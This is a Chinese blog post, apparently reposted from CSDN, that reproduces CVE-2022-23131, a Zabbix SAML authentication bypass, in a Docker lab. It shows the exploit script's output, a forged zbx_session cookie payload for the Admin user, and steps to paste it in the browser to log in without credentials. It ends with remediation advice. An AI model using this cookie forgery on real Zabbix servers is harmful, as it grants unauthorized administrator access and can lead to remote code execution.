码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • zabbix最新漏洞,可绕过认证登陆!


    漏洞概述

    漏洞编号:CVE-2022-23131
    漏洞威胁等级:高危

    Zabbix是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。

    Zabbix对客户端提交的Cookie会话存在不安全的存储方式,导致在启动SAML SSO认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现RCE。

    影响范围

    Zabbix Web前端版本包括

    • 5.4.0-5.4.8
    • 6.0.0alpha1

    复现

    虽然官方给是zabbix版本在5.4.0-5.4.8这个区间受影响,但是我在zabbix 5.4.11也同样复现了这个问题。

    # 快速构建zabbix环境
    ]# docker run  --rm -d -P lutixiaya/zabbix-cve_2022_23131:latest
    ~]# docker ps
    CONTAINER ID   IMAGE                                    COMMAND                  CREATED         STATUS         PORTS                                     NAMES
    158e737a3794   lutixiaya/zabbix-cve_2022_23131:latest   "/bin/sh -c 'bash /r…"   3 seconds ago   Up 2 seconds   0.0.0.0:49153->80/tcp, :::49153->80/tcp   competent_diffie
    
    • 1
    • 2
    • 3
    • 4
    • 5

    可以看到启用了SAML认证方式,这时直接点击该认证是无法登陆的,但是通过修改cookie可以跳过认证。
    图 1

    修改cookie:

    ~]#  python CVE-2022-23131.py http://ip:49153/   
    未加密Payload:{"saml_data":{"username_attribute":"Admin"},"sessionid":"99c65fd664e1e0bb929d8a9d964f0a98","sign":"2cd21893210753d4d2926aa08fe7ebefdd41a8ab6413bb551ce048848b1dda44"}
    
    
    加密后Payload:eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiOTljNjVmZDY2NGUxZTBiYjkyOWQ4YTlkOTY0ZjBhOTgiLCJzaWduIjoiMmNkMjE4OTMyMTA3NTNkNGQyOTI2YWEwOGZlN2ViZWZkZDQxYThhYjY0MTNiYjU1MWNlMDQ4ODQ4YjFkZGE0NCJ9
                                       
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    复制上面加密后Payload,修改zbx_session(在浏览器按F12,打开开发者工具)的值。
    图 2

    修改完成之后,再次点击SAML,可直接跳过认证登陆!
    图 3

    图 4

    修复建议

    临时方案:禁用 SAML 身份验证

    推荐方案:升级安全版本

    你要是喜欢这篇文章的话,帮忙点赞呀,你的喜欢就是我原创的动力!关注我的公众号(运维朱工)获取最近更新!

  • 相关阅读:
    【Python】小知识:使用for循环来打印列表中的参数
    Modbus协议详解4:RTU帧 & ASCII帧的差错校验
    OS 进程同步
    六级阅读3大核心技巧-因果关系题:如何识别因果
    Maven依赖的作用域你到底用对了没有
    网赚项目 - 业余时间有什么办法待在家里一天赚300元
    汇编语言实验八-《汇编语言-王爽老师》
    网络运维的重要性
    基于微信小程序的音乐播放器设计与实现(源码+lw+部署文档+讲解等)
    ThinkPHP框架使用工厂模式对接多个物流公司下单接口架构示例(php7.0及以上)
  • 原文地址:https://blog.csdn.net/Lu_tixia/article/details/126550340
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号